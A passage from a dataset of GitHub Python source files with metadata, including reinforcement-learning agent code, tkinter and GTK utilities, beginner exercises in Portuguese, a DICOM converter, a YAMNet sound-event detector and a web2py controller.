log_pij_aj * self.config.sender.coe_for_recovery_fromgumbel))\n\n gradeta = torch.autograd.grad(term, list(self.signaling_net.parameters()), retain_graph=True)\n gradeta_flatten = flatten_layers(gradeta)\n\n ''' BCE Obedience Constraint (Lagrangian) '''\n if not self.config.env.aligned_object:\n batch_len = aj.shape[0]\n sigma_counterfactual_index_flatten = torch.randint(self.config.env.map_height * self.config.env.map_width,\n size=(batch_len,)).to(self.device) # negative sampling\n sigma_counterfactual_index = [\n torch.floor(sigma_counterfactual_index_flatten / self.config.env.map_height).long().unsqueeze(dim=0),\n (sigma_counterfactual_index_flatten % self.config.env.map_width).unsqueeze(dim=0)]\n sigma_counterfactual_index = torch.cat(sigma_counterfactual_index).to(self.device)\n sigma_counterfactual = torch.zeros(batch_len, self.config.env.map_height, self.config.env.map_width,\n dtype=torch.double).to(self.device)\n sigma_counterfactual[range(batch_len), sigma_counterfactual_index[0], sigma_counterfactual_index[1]] = 1\n # sigma_counterfactual_np = np.array(sigma_counterfactual)\n sigma_counterfactual = sigma_counterfactual.unsqueeze(dim=1)\n\n if obs_receiver is not None:\n obs_and_message_counterfactual_receiver = torch.cat([obs_receiver, sigma_counterfactual], dim=1)\n else:\n obs_and_message_counterfactual_receiver = sigma_counterfactual\n _, pij_counterfactual = self.receiver.choose_action(obs_and_message_counterfactual_receiver)\n\n # s, aj\n Gj_table = self.critic_Gj(obs_sender)\n # Vj = self.calculate_v(self.critic_Gj, obs_sender, phi, obs_receiver)\n # advantage_j_table = Gj_table - Vj.unsqueeze(dim=1).repeat(1, self.dim_action)\n term = phi_sigma * torch.sum(\n (pij.detach() - pij_counterfactual.detach())\n * Gj_table.detach(), dim=1)\n\n constraint_left = torch.mean(term)\n if constraint_left < self.config.sender.sender_constraint_right:\n gradeta_constraint_term = torch.autograd.grad(constraint_left, list(self.signaling_net.parameters()),\n retain_graph=True)\n gradeta_constraint_flatten = flatten_layers(gradeta_constraint_term)\n\n if self.config.sender.sender_objective_alpha >= 1:\n gradeta_flatten = gradeta_flatten / self.config.sender.sender_objective_alpha + gradeta_constraint_flatten\n elif 0 <= self.config.sender.sender_objective_alpha < 1:\n gradeta_flatten = gradeta_flatten + self.config.sender.sender_objective_alpha * gradeta_constraint_flatten\n else:\n # raise IOError\n pass\n\n # reform to be in original shape\n gradeta_flatten = gradeta_flatten.squeeze()\n gradeta = []\n idx = 0\n for layerl in self.signaling_net.parameters():\n len_layerl = 1\n for i in layerl.shape:\n len_layerl *= i\n gradeta_layerl_section = gradeta_flatten[idx:idx + len_layerl]\n gradeta_layerl = gradeta_layerl_section.view(layerl.shape)\n gradeta.append(gradeta_layerl)\n idx += len_layerl\n\n return gradeta\n\n def save_models(self):\n self.critic_Gi.save_checkpoint()\n self.critic_Gj.save_checkpoint()\n self.target_critic_Gi.save_checkpoint()\n self.target_critic_Gj.save_checkpoint()\n self.signaling_net.save_checkpoint()\n\n def load_models(self):\n self.critic_Gi.load_checkpoint()\n self.critic_Gj.load_checkpoint()\n self.target_critic_Gi.load_checkpoint()\n self.target_critic_Gj.load_checkpoint()\n self.signaling_net.load_checkpoint()\n\n\nclass receiver_class(object):\n def __init__(self, config, device, id=1):\n self.name = name = 'receiver'\n self.config = config\n self.device = device\n self.id = id\n\n self.dim_action = dim_action = config.env.dim_action\n\n self.critic_Qj = critic(config.n_channels.obs_and_message_receiver, dim_action, config, belongto=name,\n device=device)\n\n self.critic_loss_criterion = torch.nn.MSELoss(reduction='mean')\n self.critic_Qj_optimizer = torch.optim.Adam(self.critic_Qj.parameters(), config.receiver.lr_critic_Gj)\n\n self.actor = actor(config.n_channels.obs_and_message_receiver, config, belongto=name, device=device)\n self.actor_optimizer = torch.optim.Adam(self.actor.parameters(), config.receiver.lr_actor)\n self.gamma = config.receiver.gamma\n\n self.target_critic_Qj = critic(config.n_channels.obs_and_message_receiver, dim_action, config, belongto=name,\n name='target_critic', device=device)\n self.target_critic_Qj.load_state_dict(self.critic_Qj.state_dict())\n\n def build_connection(self, sender):\n self.sender = sender\n\n def choose_action(self, input):\n return self.actor.get_a_and_pi(input)\n\n def calculate_v_foractor(self, critic, input_critic, pi):\n q_table = critic(input_critic)\n assert q_table.shape[1] == self.config.env.dim_action\n v = torch.sum(q_table * pi, dim=1)\n return v\n\n def calculate_actorobj_and_entropy(self, critic, input_critic, a, pi, ):\n q_table = critic(input_critic)\n q = q_table[range(len(a)), a]\n v = self.calculate_v_foractor(critic, input_critic, pi)\n advantage = q - v\n pi_a = pi[range(len(a)), a]\n actor_obj = advantage.detach() * torch.log(pi_a)\n actor_obj_mean = torch.mean(actor_obj)\n\n # entropy = -torch.sum(pi * torch.log(pi))\n entropy = -torch.sum(pi_a * torch.log(pi_a))\n\n return actor_obj_mean, entropy\n\n def calculate_for_updating(self, batch):\n rj = batch.data[batch.name_dict['rj']]\n obs_and_message_receiver = batch.data[batch.name_dict['obs_and_message_receiver']]\n obs_and_message_receiver_next = batch.data[batch.name_dict['obs_and_message_receiver_next']]\n aj = batch.data[batch.name_dict['a']]\n aj_next = batch.data[batch.name_dict['a_next']]\n\n critic_loss_Qj = calculate_critic_loss(self.critic_Qj, self.target_critic_Qj,\n self.critic_loss_criterion, r=rj,\n input=obs_and_message_receiver, a=aj,\n input_next=obs_and_message_receiver_next,\n a_next=aj_next,\n gamma=self.gamma)\n\n # critic, input_critic, a, pi\n # pij = batch.data[batch.name_dict['pij']]\n _, pij = self.choose_action(obs_and_message_receiver)\n actor_obj_mean, entropy = self.calculate_actorobj_and_entropy(self.critic_Qj, obs_and_message_receiver, aj, pij)\n\n return critic_loss_Qj, actor_obj_mean, entropy\n\n def softupdate_target_critic(self):\n tau = self.config.nn.target_critic_tau\n for tar, cur in zip(self.target_critic_Qj.parameters(), self.critic_Qj.parameters()):\n tar.data.copy_(cur.data * (1.0 - tau) + tar.data * tau)\n return\n\n def update(self, critic_loss_Qj, actor_obj_mean, entropy):\n grad_and_step(self.actor, self.actor_optimizer, actor_obj_mean + self.config.receiver.entropy_coe * entropy,\n 'ascent')\n grad_and_step(self.critic_Qj, self.critic_Qj_optimizer, critic_loss_Qj, 'descent')\n\n self.softupdate_target_critic()\n return\n\n def save_models(self):\n self.actor.save_checkpoint()\n self.critic_Qj.save_checkpoint()\n self.target_critic_Qj.save_checkpoint()\n\n def load_models(self, path=None):\n self.actor.load_checkpoint(path)\n self.critic_Qj.load_checkpoint(path)\n self.target_critic_Qj.load_checkpoint(path)\n","repo_name":"YueLin301/InformationDesignMARL","sub_path":"exp_reaching_goals/agent_formal_constrained.py","file_name":"agent_formal_constrained.py","file_ext":"py","file_size_in_byte":17347,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"76"} +{"seq_id":"3672381960","text":"###\n#\n#\n#\n# Program Description :\n# Created By : Benjamin Kleynhans\n# Creation Date : May 30, 2019\n# Authors : Benjamin Kleynhans\n#\n# Last Modified By : Benjamin Kleynhans\n# Last Modified Date : November 18, 2019\n# Filename : connection_window.py\n#\n###\n\n# Imports\nfrom tkinter import *\nfrom tkinter import ttk\nfrom tkinter import messagebox\nfrom gui.forms.base_classes.gui_window import Gui_Window\nfrom gui.forms.modules.preferences.connection_module.connection_frame.connection_frame import Connection_Frame\nfrom gui.tools.save_file import Save_File\nimport pdb\n\nclass Connection_Window(Gui_Window):\n\n # connection Window constructor\n def __init__(self, root, master):\n\n Gui_Window.__init__(self, root, master, \"connection_window\", \"Connection\")\n self.create_connection_window(master)\n\n\n # Create the actual window as a separate window\n def create_connection_window(self, master):\n\n # Add the connection frame to the window\n Connection_Frame(self.root, master.windows[self.window_name])\n\n close_button = ttk.Button(\n master.windows[self.window_name],\n text = \"Close\",\n command = lambda: self.on_closing(master))\n close_button.pack(side=RIGHT, padx=(0, 10), pady=(5, 20))\n\n master.windows[self.window_name].protocol(\"WM_DELETE_WINDOW\", lambda: self.on_closing(master))\n\n self.update_selectible()\n\n\n def update_selectible(self):\n\n if self.root.preferences['connection']['interface'] == 'serial':\n for child in self.root.frames['gpib_address_frame'].winfo_children():\n child.configure(state='disable')\n\n for child in self.root.frames['com_port_frame'].winfo_children():\n child.configure(state='enable')\n elif self.root.preferences['connection']['interface'] == 'gpib':\n for child in self.root.frames['gpib_address_frame'].winfo_children():\n child.configure(state='enable')\n\n for child in self.root.frames['com_port_frame'].winfo_children():\n child.configure(state='disable')\n\n\n # Save changes made to connection\n def save_changes(self, master):\n\n Save_File(self.root, master, 'config')\n\n master.windows[self.window_name].destroy()\n\n\n # Action to perform when connection window is closed\n def on_closing(self, master):\n\n self.save_changes(master)","repo_name":"bkleynhans/PyMono","sub_path":"gui/forms/modules/preferences/connection_module/connection_window.py","file_name":"connection_window.py","file_ext":"py","file_size_in_byte":2439,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"9512137859","text":"import tkinter as tk\nfrom tkinter import filedialog\nfrom PIL import Image\nimport hashlib\n\nclass MainApplication(tk.Frame):\n def __init__(self, parent, *args, **kwargs):\n tk.Frame.__init__(self, parent, *args, **kwargs)\n self.parent = parent\n\n def OpenImage():\n self.imgfile = filedialog.askopenfilename()\n return self.imgfile\n\n def ConvertImage():\n x = self.width.get()\n y = self.height.get()\n size = (x,y)\n img = Image.open( self.imgfile )\n newimg = img.resize(size)\n newimg.save(hashlib.md5( self.imgfile.encode('utf-8')).hexdigest()+'.png')\n \n self.width = tk.IntVar()\n self.height = tk.IntVar()\n self.lab1 = tk.Label(self, text=\"Width\")\n self.lab1.grid(row=0, column=0)\n self.ent1 = tk.Entry(self, textvariable=self.width)\n self.ent1.grid(row=0, column=1)\n self.lab2 = tk.Label(self, text=\"Width\")\n self.lab2.grid(row=0, column=2)\n self.ent2 = tk.Entry(self, textvariable=self.height)\n self.ent2.grid(row=0, column=3)\n self.btn1 = tk.Button(self, text=\"OpenFile\", command=OpenImage)\n self.btn1.grid(row=0, column=4)\n self.btn2 = tk.Button(self, text=\"Convert\", command=ConvertImage)\n self.btn2.grid(row=0, column=5) \n\nif __name__ == \"__main__\":\n root = tk.Tk()\n root.title('Image Size')\n MainApplication(root).pack(side=\"top\", fill=\"both\", expand=True)\n root.mainloop()","repo_name":"BlackWolf96/ImageTools_python","sub_path":"imagesize.py","file_name":"imagesize.py","file_ext":"py","file_size_in_byte":1500,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"16342741812","text":"''' Simple notification dialog. '''\n\nimport os\nimport os.path\nimport subprocess\nos.environ['NO_AT_BRIDGE'] = '0'\n\nfrom gi.repository import Gtk # pylint: disable=no-name-in-module\nfrom gi.repository import GObject # pylint: disable=no-name-in-module\n\n\ndef here(path):\n ' Return path added to current dir for __FILE__. '\n return os.path.join(os.path.dirname(os.path.abspath(__file__)), path)\n\n\ndef get_outdated():\n ''' Return list of packages not in 'OK' state. '''\n statebytes = subprocess.check_output([here('lpf'), 'state'])\n statelines = statebytes.decode('utf-8').split('\\n')\n outdated = []\n for stateline in statelines:\n try:\n pkg_name, state = stateline.split()[0:2]\n except (ValueError, IndexError):\n continue\n if state != 'OK':\n outdated.extend([pkg_name])\n return outdated\n\n\nclass Handler(object):\n ''' Init window and handle signals. '''\n\n def __init__(self, builder_):\n outdated = get_outdated()\n self.builder = builder_\n self.outdated = outdated\n text = \"Some lpf packages needs to be updated: \"\n text += ','.join(outdated)\n builder_.get_object('message_label').set_text(text)\n\n @staticmethod\n def on_delete_event_cb(window_, event):\n ''' User just closed window. '''\n Gtk.main_quit()\n\n def on_checkbox_toggled_cb(self, widget, data=None):\n ''' User checked the \"Don't show this message\" again checkbox. '''\n if not widget.get_active():\n return\n for pkg_name in self.outdated:\n try:\n subprocess.check_call([here('lpf'), 'mute', pkg_name])\n except subprocess.CalledProcessError:\n pass\n\n def on_lpf_button_clicked_cb(self, widget, data=None):\n ''' User clicked 'Run lpf' button. '''\n\n def do_lpf_update():\n ''' Do the dirty wwork. '''\n try:\n subprocess.call([here('lpf'), 'update'])\n except subprocess.CalledProcessError:\n pass\n Gtk.main_quit()\n\n self.builder.get_object('main_window').hide()\n GObject.idle_add(do_lpf_update)\n\n @staticmethod\n def on_quit_button_clicked_cb(widget, data=None):\n ''' User clicked 'Quit' button. '''\n Gtk.main_quit()\n\ndef main():\n ''' Indeed: main program. '''\n subprocess.check_call([here('lpf-notify'), 'lock'])\n builder = Gtk.Builder()\n builder.add_from_file(here(\"notify.ui\"))\n builder.connect_signals(Handler(builder))\n builder.get_object('main_window').show_all()\n\n Gtk.main()\n\n subprocess.check_call([here('lpf-notify'), 'unlock'])\n\n\nif __name__ == '__main__':\n main()\n\n\n# vim: set expandtab ts=4 sw=4:\n","repo_name":"leamas/lpf","sub_path":"scripts/notify.py","file_name":"notify.py","file_ext":"py","file_size_in_byte":2747,"program_lang":"python","lang":"en","doc_type":"code","stars":57,"dataset":"github-code","pt":"76"} +{"seq_id":"25778723946","text":"#!/usr/bin/python3\n\n\"\"\" Write a Python script that takes in a URL and an email,\nsends a POST request to the passed URL with the email as a parameter,\nand displays the body of the response (decoded in utf-8)\n\nThe email must be sent in the email variable\nYou must use the packages urllib and sys\nYou are not allowed to import packages other than urllib and sys\nYou don’t need to check arguments passed to the script (number or type)\nYou must use the with statement\n\"\"\"\nfrom urllib.request import urlopen, Request\nfrom urllib.parse import urlencode\nimport sys\n\nif __name__ == '__main__':\n data = {}\n data['email'] = sys.argv[2]\n data = urlencode(data).encode()\n req = Request(sys.argv[1], data)\n with urlopen(req) as r:\n print(r.read().decode())\n","repo_name":"Davies70/alx-higher_level_programming","sub_path":"0x11-python-network_1/2-post_email.py","file_name":"2-post_email.py","file_ext":"py","file_size_in_byte":767,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"70575716406","text":"import argparse\nfrom pathlib import Path\n\nimport numpy as np\nfrom scipy.sparse import coo_matrix, save_npz\n\n\ndef binarize():\n data = 1 - np.load(ARGS.filename)\n binarized = data >= ARGS.threshold\n np.fill_diagonal(binarized, False)\n\n return coo_matrix(binarized)\n\n\n# The execution starts here\nif __name__ == \"__main__\":\n PARSER = argparse.ArgumentParser()\n PARSER.add_argument('filename',\n help='filename of the .npy containing the distance matrix')\n PARSER.add_argument(\n 'threshold', type=float,\n help='Threshold found through the random_threshold step')\n ARGS = PARSER.parse_args()\n\n NETWORK = binarize()\n PATH = Path(ARGS.filename).stem + '-adj.npz'\n\n save_npz(PATH, NETWORK)\n print('Output saved at:', PATH)\n","repo_name":"Davide95/msc_thesis","sub_path":"code/binarize.py","file_name":"binarize.py","file_ext":"py","file_size_in_byte":786,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"76"} +{"seq_id":"17128001300","text":"# 1) Faça uma função para converter uma temperatura em graus Fahrenheit para\n# Celsius. A temperatura em Fahrenheit é o dado de entrada e a temperatura em\n# Celsius é o dado de saída. Utilize a fórmula C = (F - 32) * 5/9, onde F é a\n# temperatura em Fahrenheit e C é a temperatura em Celsius.\nfahrenheit = float(input('Digite a temperatura em Fahrenheit: '))\ncelsius = 0\n\ndef fahrenheitToCelsius(fahrenheit):\n celsius = (fahrenheit - 32) * (5/9)\n return celsius\n\nprint(f'A temperatura é: {fahrenheit:.0f}°F | {fahrenheitToCelsius(fahrenheit):.0f}°C')\n\n\n# 2) Faça uma função que calcule a hipotenusa. Os catetos são os dados de entrada e\n# a hipotenusa é o dado de saída.\n# hipotenusa = (catetoA² + catetoB²)**(1/2)\ncateto1 = float(input('Digite o valor do primeiro cateto: '))\ncateto2 = float(input('Digite o valor do segundo cateto: '))\n\ndef pitagoras(cateto1, cateto2):\n hipotenusa = ((cateto1**2)+(cateto2**2))**(1/2)\n return hipotenusa\n\nprint(f'Catetos: {cateto1} e {cateto2} | Hipotenusa: {pitagoras(cateto1, cateto2):.2f}')\n\n\n# 3) Escreva um programa para ler as notas das duas avaliações de um aluno no\n# semestre. Faça uma função que receba as duas notas por parâmetro e calcule e\n# escreva a média semestral e a mensagem “PARABÉNS! Você foi aprovado!”\n# somente se o aluno foi aprovado (considere 6.0 a média mínima para aprovação).\nnotas = [float(input('Informe a primeira nota: ')), float(input('Informe a segunda nota: '))]\nmedia = 0\n\ndef calcularMedia(notas):\n media = sum(notas)/len(notas)\n return media\n\nprint(f'A média das duas notas do aluno é: {calcularMedia(notas)}')\n\n\n# 4) Faça um programa que leia a altura e o sexo (codificado da seguinte forma:\n# 1-feminino 2-masculino) de uma pessoa. Depois faça uma função chamada\n# pesoideal que receba a altura e o sexo via parâmetro e que calcule e retorne seu\n# peso ideal, utilizando as seguintes fórmulas:\n# • para homens: (72.7 * h) – 58\n# • para mulheres: (62.1 * h) – 44.7\n# Observação: Altura = h (na fórmula acima).\nsexo = int(input('Informe o genero da pessoa (1 - feminino | 2 - masculino): '))\naltura = float(input('Informe a altura da pessoa (metros): '))\npeso = 0\n\ndef pesoIdeal(sexo, altura):\n if sexo == 1: \n peso = (62.1 * altura) - 44.7\n return peso\n elif sexo == 2: \n peso = (72.7 * altura) - 58\n return peso\n else: print('erro!')\n\nprint(pesoIdeal(sexo, altura))\n\n\n# 5) Escreva um programa para ler o número de lados de um polígono regular e a\n# medida do lado (em cm). Faça uma função que receba como parâmetro o número\n# de lados e a medida do lado deste polígono e calcule e imprima o seguinte:\n# • Se o número de lados for igual a 3, escrever TRIÂNGULO e o valor do seu\n# perímetro.\n# • Se o número de lados for igual a 4, escrever QUADRADO e o valor da sua área.\n# • Se o número de lados for igual a 5, escrever PENTÁGONO.\n# Observação: Considere que o usuário só informará os valores 3, 4 ou 5.\nqtdLados = int(input('Informe a quantidade de lados do seu polígo regular (3, 4 ou 5): '))\nmedidaLados = int(input('Informe a medida dos lados do poligono regular (metros): '))\n\ndef definirPoligo(qtdLados, medidaLados):\n if qtdLados == 3: \n return f'TRIÂNGULO | Perímetro: {medidaLados * qtdLados}' \n elif qtdLados == 4: \n return f'QUADRADO | Área = {medidaLados * medidaLados}'\n elif qtdLados == 5: \n return f'PENTÁGONO'\n else: return f'erro'\n\nprint(f'{definirPoligo(qtdLados, medidaLados)}')\n\n\n# 6) Escreva uma função que recebe 2 números inteiros n1 e n2 como entrada e\n# retorna a soma de todos os números inteiros contidos no intervalo [n1,n2]. Use\n# esta função em um programa que lê n1 e n2 do usuário e imprime a soma.\nimport numpy as np\nn1 = float(input('Informe o primeiro valor: '))\nn2 = float(input('Informe o segundo valor: '))\n\ndef somaInteirosIntervalo(n1, n2):\n inteiros = []\n for i in np.arange(n1,n2):\n inteiros.append(i)\n return sum(inteiros)\n\nprint(f'Soma dos inteiros no intervalo: {somaInteirosIntervalo(n1, n2)}')\n\n\n# 7) Escreva uma função que receba um número inteiro e imprima o mês\n# correspondente ao número. Por exemplo, 2 corresponde a “fevereiro”. O\n# procedimento deve mostrar uma mensagem de erro caso o número recebido não\n# faça sentido. Gere também um programa que leia um valor e chame a função\n# criada.\nnumero = int(input(\"Insira um número inteiro entre 1 e 12: \"))\ndef imprimirMes(numero):\n meses = {\n 1: \"Janeiro\",\n 2: \"Fevereiro\",\n 3: \"Março\",\n 4: \"Abril\",\n 5: \"Maio\",\n 6: \"Junho\",\n 7: \"Julho\",\n 8: \"Agosto\",\n 9: \"Setembro\",\n 10: \"Outubro\",\n 11: \"Novembro\",\n 12: \"Dezembro\"\n }\n if numero in meses:\n print(meses[numero])\n else:\n print(\"Número inválido. Por favor, insira um número entre 1 e 12.\")\n\nimprimirMes(numero)\n\n\n# 8) Escreva uma função que receba um número natural e imprima os três primeiros\n# caracteres do dia da semana correspondente ao número. Por exemplo, 7\n# corresponde a “SAB”. O procedimento deve mostrar uma mensagem de erro caso\n# o número recebido não corresponda a um dia da semana. Gere também um\n# programa que utilize essa função, chamando-a, mas antes lendo um valor para\n# passagem de parâmetro.\nnumero = int(input(\"Insira um número int entre 1 e 7: \"))\n\ndef imprimirDiaSemana(numero):\n diasSemana = {\n 1: \"DOM\",\n 2: \"SEG\",\n 3: \"TER\",\n 4: \"QUA\",\n 5: \"QUI\",\n 6: \"SEX\",\n 7: \"SAB\"\n }\n if numero in diasSemana:\n print(diasSemana[numero])\n else:\n print(\"Número inválido. Por favor, insira um número entre 1 e 7.\")\n\nimprimirDiaSemana(numero)\n\n\n# 9) Escreva uma função que receba dois números inteiros x e y. Essa função deve\n# verificar se x é divisível por y. No caso positivo, a função deve retornar 1, caso\n# contrário zero. Escreva também um programa para testar tal função.\ndef divisivel(x, y):\n if x % y == 0:\n return 1\n else:\n return 0\n\nx = int(input(\"Digite o valor de x: \"))\ny = int(input(\"Digite o valor de y: \"))\n\nresultado = divisivel(x, y)\nif resultado == 1:\n print(f\"{x} é divisível por {y}\")\nelse:\n print(f\"{x} não é divisível por {y}\")\n\n# 10) Criar uma função que calcule e retorne o MAIOR entre dois valores recebidos como\n# parâmetros. Um programa para testar tal função deve ser criado.\ndef calcularMaior(valor1, valor2):\n if valor1 > valor2:\n return valor1\n else:\n return valor2\n\nvalor1 = float(input(\"Digite o primeiro valor: \"))\nvalor2 = float(input(\"Digite o segundo valor: \"))\nmaior = calcularMaior(valor1, valor2)\nprint(f\"O maior valor entre {valor1} e {valor2} é: {maior}\")\n\n# 11) Crie uma função que realize a conversão de Polegadas (pol) para Centímetros\n# (cm), onde pol é passado como parâmetro e cm é retornado. Sabe-se que 1\n# polegada tem 2.54 centímetros. Crie também um programa para testar tal função.\npol = float(input(\"Digite o valor em polegadas: \"))\n\ndef polToCm(pol):\n cm = pol * 2.54\n return cm\n \nprint(f\"{pol} polegadas equivalem a {polToCm(pol)} centímetros.\")","repo_name":"gabriel04alves/atividades-bsi","sub_path":"algoritmos-e-programação-I/Aula06.py","file_name":"Aula06.py","file_ext":"py","file_size_in_byte":7199,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"851857710","text":"# key : value\n# key is unique\n# dict cant like multi arr : key can a dict \nmy_dict = {\n \"name\" : \"Tiep\",\n \"age\" : \"18\",\n \"school\" : \"HUST\"\n}\n\n# method\n # len(x) : return number items in dict\n # type(x) : return type of x\n # dict(key = value,) : make a dict\n # accessing can use x[\"key\"] or x.get(\"key\")\n # x.keys() : return a list of keys in dict\n # x[\"key\"] = value : add or change key\n # x.values() : return a list of value in dict\n # x.items() return a list with each item is one tuple\n # if key in dict : check key has in dict?\n # if value in dict.values() : check value\n # x.update({\"key\" : value}) : update or add key and value\n # x,pop(\"key\") : remove item key if don't have will error\n # x.popitem() : remove last item\n # del x[\"key\"] : remove key\n # del x | x.clear() : remove dict\n # for x in dict : default x is key\n # x.copy() : copy a dict\n # ","repo_name":"tiepdemon/CODE","sub_path":"Python/simple code/dictionary.py","file_name":"dictionary.py","file_ext":"py","file_size_in_byte":919,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"6926458680","text":"from os import listdir\nfrom shutil import *\n\n\nlocal = 'E:/code/recognition/passport_recognition/train/'\n\n\ndef split_raw():\n txts = [i for i in listdir(local + 'digit dataset') if i.endswith('.txt')]\n pics = [i for i in listdir(local + 'digit dataset') if i.endswith('.png')]\n\n for ind in range(len(txts)):\n move(local + f'digit dataset/{txts[ind]}', local + f'digit dataset/d{ind % 10}/{txts[ind]}')\n move(local + f'digit dataset/{pics[ind]}', local + f'digit dataset/d{ind % 10}/{pics[ind]}')\n\n\ndef split_box():\n strings = ['' for i in range(10)]\n data = open(f'{local}digit dataset/shakal_digits.font.exp0.box').readlines()\n for i in data:\n digits = i.split()\n ind = int(digits[-1])\n strings[ind % 10] += ' '.join(digits[:-1]) + ' ' + str(ind // 10) + '\\n'\n for i in range(10):\n f = open(f'{local}digit dataset/shakal_digits_{i}.font.exp0.box', 'w')\n f.write(strings[i])\n\n\nsplit_box()\n","repo_name":"snoudin/passport_recognition","sub_path":"train/split_dataset.py","file_name":"split_dataset.py","file_ext":"py","file_size_in_byte":957,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"31017466671","text":"import pydicom as dicom\nimport os\nimport cv2\n# make it True if you want in PNG format\nPNG = False\n# Specify the .dcm folder path\nfolder_path = \"test/\"\n# Specify the output jpg/png folder path\njpg_folder_path = \"./png/\" \n\nn = 0\nfor root, _, files in os.walk('.'):\n for image in files:\n if \".dcm\" not in image:\n continue\n print(os.path.join(jpg_folder_path, root, image))\n ds = dicom.dcmread(os.path.join(root, image))\n pixel_array_numpy = ds.pixel_array\n if PNG == False:\n image = image.replace('.dcm', '.jpg')\n else:\n image = image.replace('.dcm', '.png')\n os.makedirs(os.path.join(jpg_folder_path, root,), exist_ok=True)\n if not cv2.imwrite(os.path.join(jpg_folder_path, root, image), pixel_array_numpy):\n raise Exception(\"pls im tired\")\n\n n += 1\n if n % 50 == 0:\n print('{} image converted'.format(n))\n\n ","repo_name":"gt-big-data/cancer-detection","sub_path":"convert.py","file_name":"convert.py","file_ext":"py","file_size_in_byte":937,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"76"} +{"seq_id":"10706460131","text":"print('Loading TensorFlow...')\nimport numpy as np\n#import scipy.signal\nimport soundfile as sf\nimport tensorflow as tf\n\nprint('Loading YAMNet...')\nimport params as yamnet_params\nimport yamnet as yamnet_model\nparams = yamnet_params.Params()\nyamnet = yamnet_model.yamnet_frames_model(params)\nyamnet.load_weights('yamnet.h5')\nyamnet_classes = yamnet_model.class_names('yamnet_class_map_zh-tw.csv')\n\nimport os, pyaudio, time\n#os.system('jack_control start')\np = pyaudio.PyAudio()\nos.system('clear')\n#print('Sound Event Detection by running inference on every 1.024 second audio stream from the microphone!\\n')\n\nCHUNK = 1024 # frames_per_buffer # samples per chunk\nFORMAT = pyaudio.paInt16\nCHANNELS = 1\nRATE = 16000\nRECORD_SECONDS = 1.024 # need at least 975 ms\nINFERENCE_WINDOW = 2 * int(RATE / CHUNK * RECORD_SECONDS) # 2 * 16 CHUNKs\nTHRESHOLD = 0.4\n\nstream = p.open(format=FORMAT,\n channels=CHANNELS,\n rate=RATE,\n input=True,\n frames_per_buffer=CHUNK)\n\nCHUNKs = []\nwith open('sed.npy', 'ab') as f:\n while True:\n try:\n stream.start_stream()\n for i in range(0, int(RATE / CHUNK * RECORD_SECONDS)):\n data = stream.read(CHUNK)\n CHUNKs.append(data)\n # print(len(CHUNKs))\n stream.stop_stream()\n\n if len(CHUNKs) > INFERENCE_WINDOW:\n CHUNKs = CHUNKs[int(RATE / CHUNK * RECORD_SECONDS):]\n # print('new len: ',len(CHUNKs))\n wav_data = np.frombuffer(b''.join(CHUNKs), dtype=np.int16)\n waveform = wav_data / tf.int16.max#32768.0\n waveform = waveform.astype('float32')\n scores, embeddings, spectrogram = yamnet(waveform)\n prediction = np.mean(scores[:-1], axis=0) # last one scores comes from insufficient samples\n # assert (prediction==scores[0]).numpy().all() # only one scores at RECORD_SECONDS = 1.024\n assert len(scores[:-1]) == CHUNK * len(CHUNKs) / RATE // 0.48 - 1 # hop 0.48 seconds\n top5 = np.argsort(prediction)[::-1][:5]\n print(time.ctime().split()[3],\n ''.join((f\" {prediction[i]:.2f} 👉{yamnet_classes[i][:7].ljust(7, ' ')}\" if prediction[i] >= THRESHOLD else '') for i in top5))\n np.save(f, np.concatenate(([time.time()], prediction)))\n except:\n stream.stop_stream()\n stream.close()\n p.terminate()\n f.close()\n","repo_name":"x1001000/sed-yamnet-jetson-nano","sub_path":"SED.py","file_name":"SED.py","file_ext":"py","file_size_in_byte":2492,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"76"} +{"seq_id":"40818858129","text":"from datetime import date\n\n\n# new #######################################################################\n@auth.requires_login()\n@auth.requires(\n auth.has_membership(\"root\")\n or auth.has_membership(\"admin\")\n or auth.has_membership(\"office\")\n)\ndef new():\n new = _guest_form()\n\n if new.process().accepted:\n guesid = int(new.process().vars.id)\n\n if request.vars.reg:\n redirect(URL(\"register\", \"confirm_guest\", vars={\"guesid\": guesid}))\n\n redirect(URL(\"show\", vars={\"guesid\": guesid, \"tab\": \"home\"}))\n\n return dict(form=new)\n\n\n# edit ######################################################################\n@auth.requires_login()\n@auth.requires(\n auth.has_membership(\"root\")\n or auth.has_membership(\"admin\")\n or auth.has_membership(\"office\")\n)\ndef edit():\n guesid = request.vars.guesid\n\n edit = _guest_form(instance=guesid)\n\n if edit.process().accepted:\n if request.vars.on_reg:\n redirect(URL(\"register\", \"confirm_guest\", vars={\"guesid\": guesid}))\n redirect(URL(\"show\", vars={\"guesid\": guesid, \"tab\": \"home\"}))\n\n return dict(form=edit, guest=guesid)\n\n\n# new_guest_stay ############################################################\n@auth.requires_login()\n@auth.requires(\n auth.has_membership(\"root\")\n or auth.has_membership(\"admin\")\n or auth.has_membership(\"office\")\n)\ndef new_stay():\n new_stay = _stay_form()\n if new_stay.process().accepted:\n if request.vars.on_reg:\n redirect(\n URL(\n \"register\",\n \"confirm_guest\",\n vars={\"guesid\": request.vars.guest_id},\n )\n )\n else:\n redirect(\n URL(\n \"show\",\n vars={\n \"guesid\": new_stay.process().vars.guesid,\n \"tab\": \"stay\",\n },\n )\n )\n\n return dict(form=new_stay, guesid=request.vars.guesid)\n\n\n# edit stay #################################################################\n@auth.requires_login()\n@auth.requires(\n auth.has_membership(\"root\")\n or auth.has_membership(\"admin\")\n or auth.has_membership(\"office\")\n)\ndef edit_stay():\n guest = Guest[request.vars.guest_id]\n\n edit_stay = _stay_form(instance=request.vars.stayid)\n\n if edit_stay.process().accepted:\n if request.vars.on_reg:\n redirect(\n URL(\n \"register\",\n 